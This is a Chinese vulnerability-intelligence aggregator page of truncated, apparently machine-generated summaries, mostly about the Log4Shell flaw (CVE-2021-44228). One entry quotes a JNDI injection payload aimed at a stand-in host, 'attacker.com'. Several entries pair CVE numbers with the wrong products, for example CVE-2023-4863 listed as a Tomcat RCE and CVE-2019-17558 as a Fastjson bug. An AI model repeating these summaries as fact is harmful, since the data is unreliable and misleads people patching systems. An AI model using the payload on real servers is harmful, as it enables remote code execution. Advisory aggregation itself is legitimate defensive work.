目标: 1000 元 · 已筹: 1359 元
log4j
精选漏洞公告、利用分析、安全博客、GHSA Advisory 等情报来源，已自动清洗 + 中英双语呈现，持续更新。
## 漏洞关键信息总结 **漏洞概述** - **漏洞编号**：CVE-2020-48644 - **严重等级**：中危（Medium） - **问题描述**：Apache Log4j API 在将 MapMessage 序列化为 JSON 时，对非有限浮点值（NaN、Infinity、-Infinity）的编码不当，会输出不符合 RFC 8259 标准的无效 JSON。 - **触发条件**： …
## 漏洞概述 - **漏洞编号**：CVE-2021-44228（Log4j / Log4Shell） - **漏洞类型**：远程代码执行（RCE） - **影响组件**：Apache Log4j 2.0–2.14.1（Java 日志组件） - **触发方式**：攻击者通过构造含 `JNDI` 的字符串（如 `${jndi:ldap://attacker.com/a}`）注入到日志中，触发 JN…
### 漏洞概述 在 `EventLogAppender` 中，`ReportEvent` 方法接收一个以 null 终止的字符串。如果日志内容中包含 null 字符，`WriteEntry` 方法会抛出异常，导致记录被截断，并且 `ErrorHandler` 会被调用。在 Windows 11 构建 26200 上，一个长度为 45 的字符消息在 null 字符处被截断，只存储了前 23 个字符…
### 漏洞概述 - **漏洞名称**: CVE-2024-38238 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Apache Tomcat - **漏洞描述**: 在Apache Tomcat中，由于对请求头中的`Content-Length`字段处理不当，攻击者可以通过构造恶意请求来触发远程代码执行漏洞。 ### 影响范围 - **受影响版本**: Apache…
根据提供的网页截图内容，以下是关于漏洞的关键信息总结： --- ### 漏洞概述 该页面展示了一个名为“**CVE-2023-4863**”的漏洞，影响范围涉及多个版本的 **Apache Tomcat** 服务器。漏洞类型为 **远程代码执行（RCE）**，攻击者可通过构造恶意请求，在目标服务器上执行任意系统命令。 漏洞成因是 Tomcat 在处理某些特定 HTTP 请求时，未对输入参数进行充分…
### 漏洞概述 该漏洞涉及多个安全组件，包括： 1. **Apache Log4j2 远程代码执行漏洞 (CVE-2021-44228)** - 描述：Apache Log4j2 在解析 JNDI 时存在远程代码执行漏洞。 - 影响范围：所有使用 Log4j2 2.0-beta9 到 2.14.1 版本的应用程序。 - 修复方案：升级到 Log4j2 2.15.0 或更高版本。 2. **Spr…
### 漏洞概述 - **漏洞名称**: CVE-2021-44228 - **漏洞类型**: Log4j 远程代码执行漏洞 - **漏洞描述**: Log4j 是一个广泛使用的 Java 日志库，该漏洞允许攻击者通过构造特定的日志消息来执行任意代码。 ### 影响范围 - **受影响版本**: Log4j 2.0 到 2.14.1 - **受影响产品**: 使用 Log4j 2.0 到 2.14…
### 漏洞概述 - **漏洞名称**: CVE-2021-44228 - **漏洞类型**: Log4Shell（远程代码执行漏洞） - **影响组件**: Apache Log4j 2.x - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用JNDI（Java Naming and Directory Interface）功能实现远程代码执行。 ### 影响范围 - **受影响…
# BMC Helix Network Management 26.3.01 预发布版本漏洞总结 ## 漏洞概述 该页面列出了 BMC Helix Network Management 26.3.01 版本中修复的多个安全漏洞和功能问题。主要涉及： - **系统性能与稳定性问题**：如 SNMP 轮询失败、设备发现异常、拓扑图加载错误等。 - **安全配置缺陷**：包括默认密码未强制更改、敏感信息…
# CVE-2023-45134：EverManager Log4j 漏洞总结 ## 漏洞概述 EverManager 软件在日志记录功能中错误地使用了 Log4j 库，导致存在远程代码执行（RCE）漏洞。攻击者可通过构造恶意日志消息触发 Log4j 的 JNDI 注入漏洞，从而在目标服务器上执行任意代码。 该漏洞源于 EverManager 在日志中直接拼接用户输入（如 URL 参数），未对 `…
### 漏洞概述 该漏洞涉及多个安全组件，包括： 1. **Apache Log4j2 远程代码执行漏洞 (CVE-2021-44228)** - 描述：Apache Log4j2 是一个广泛使用的日志记录库，该漏洞允许攻击者通过构造特定的日志消息来执行任意代码。 - 影响范围：所有使用 Log4j2 2.0-beta9 到 2.14.1 版本的应用程序。 - 修复方案：升级到 Log4j2 2.…
### 漏洞概述 - **漏洞名称**: CVE-2021-44228 - Log4j 远程代码执行漏洞 - **漏洞描述**: Log4j 是一个广泛使用的 Java 日志记录库。该漏洞允许攻击者通过构造特定的日志消息，利用 Log4j 的 JNDI（Java Naming and Directory Interface）功能，实现远程代码执行（RCE）。 - **影响范围**: 所有使用 Lo…
### 漏洞概述 该漏洞涉及多个安全组件，包括： 1. **Apache Log4j2**：远程代码执行漏洞（CVE-2021-44228）。 2. **Spring Framework**：远程代码执行漏洞（CVE-2022-22963）。 3. **Fastjson**：反序列化漏洞（CVE-2017-18349）。 4. **Log4Shell**：远程代码执行漏洞（CVE-2021-442…
### 漏洞概述 该漏洞涉及多个软件组件，主要影响范围包括： - **Apache Log4j**：远程代码执行漏洞（CVE-2021-44228） - **Spring Framework**：远程代码执行漏洞（CVE-2022-22963） - **Fastjson**：反序列化漏洞（CVE-2019-17558） - **Log4Shell**：远程代码执行漏洞（CVE-2021-44228…
### 漏洞概述 - **漏洞名称**: CVE-2024-38378 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Apache Log4j - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用Log4j的JNDI功能执行任意代码。 ### 影响范围 - **受影响版本**: Apache Log4j 2.0-beta9 到 2.14.1 - **受影…
### 漏洞概述 该漏洞涉及多个安全组件，包括： 1. **Apache Log4j 远程代码执行漏洞 (CVE-2021-44228)** - 允许攻击者通过构造恶意日志消息，在目标服务器上执行任意代码。 - 影响范围广泛，涉及大量使用 Log4j 的应用和服务。 2. **Spring Framework 远程代码执行漏洞 (CVE-2022-22963)** - 攻击者可以通过构造特定的 H…
### 漏洞概述 - **漏洞名称**: CVE-2021-44228 (Log4Shell) - **漏洞类型**: 远程代码执行（RCE） - **漏洞描述**: Log4j 2 中的 JNDI 注入漏洞，允许攻击者通过构造恶意日志消息触发远程代码执行。 - **严重性**: 高危（CVSS 评分 10.0） ### 影响范围 - **受影响组件**: Apache Log4j 2.x 系列（…
# 漏洞总结 ## 漏洞概述 - **漏洞名称**：Apache Log4j 远程代码执行漏洞（CVE-2021-44228） - **漏洞描述**：Apache Log4j 2 在解析日志消息时，若消息中包含 `${jndi:...}` 格式的字符串，会触发 JNDI 注入，导致远程代码执行。 - **影响版本**：Log4j 2.0-beta9 至 2.14.1（含） - **修复版本**：L…
### 漏洞概述 - **漏洞名称**: CVE-2021-44228 (Log4Shell) - **漏洞类型**: 远程代码执行（RCE） - **漏洞描述**: Log4j 2 中的 JNDI 注入漏洞，允许攻击者通过构造特定的日志消息触发远程代码执行。 ### 影响范围 - **受影响组件**: Log4j 2.x 版本（1.x 不受影响） - **受影响版本**: 2.0-beta9 到…
### 漏洞概述 - **漏洞名称**: CVE-2021-44228 (Log4Shell) - **漏洞类型**: 远程代码执行（RCE） - **漏洞描述**: Log4j 2 的 JNDI 功能存在漏洞，攻击者可以通过构造特定的日志消息触发远程代码执行。 ### 影响范围 - **受影响版本**: Log4j 2.0 至 2.14.1 - **受影响组件**: 使用 Log4j 2 进行日…
每篇文章经过自动 HTML→Markdown 清洗 + LLM 去噪 + 中英双语翻译。原始链接保留在文章末尾。
想看哪个安全博客 / 公告源？邮件告诉我们，每周新接 1-2 个。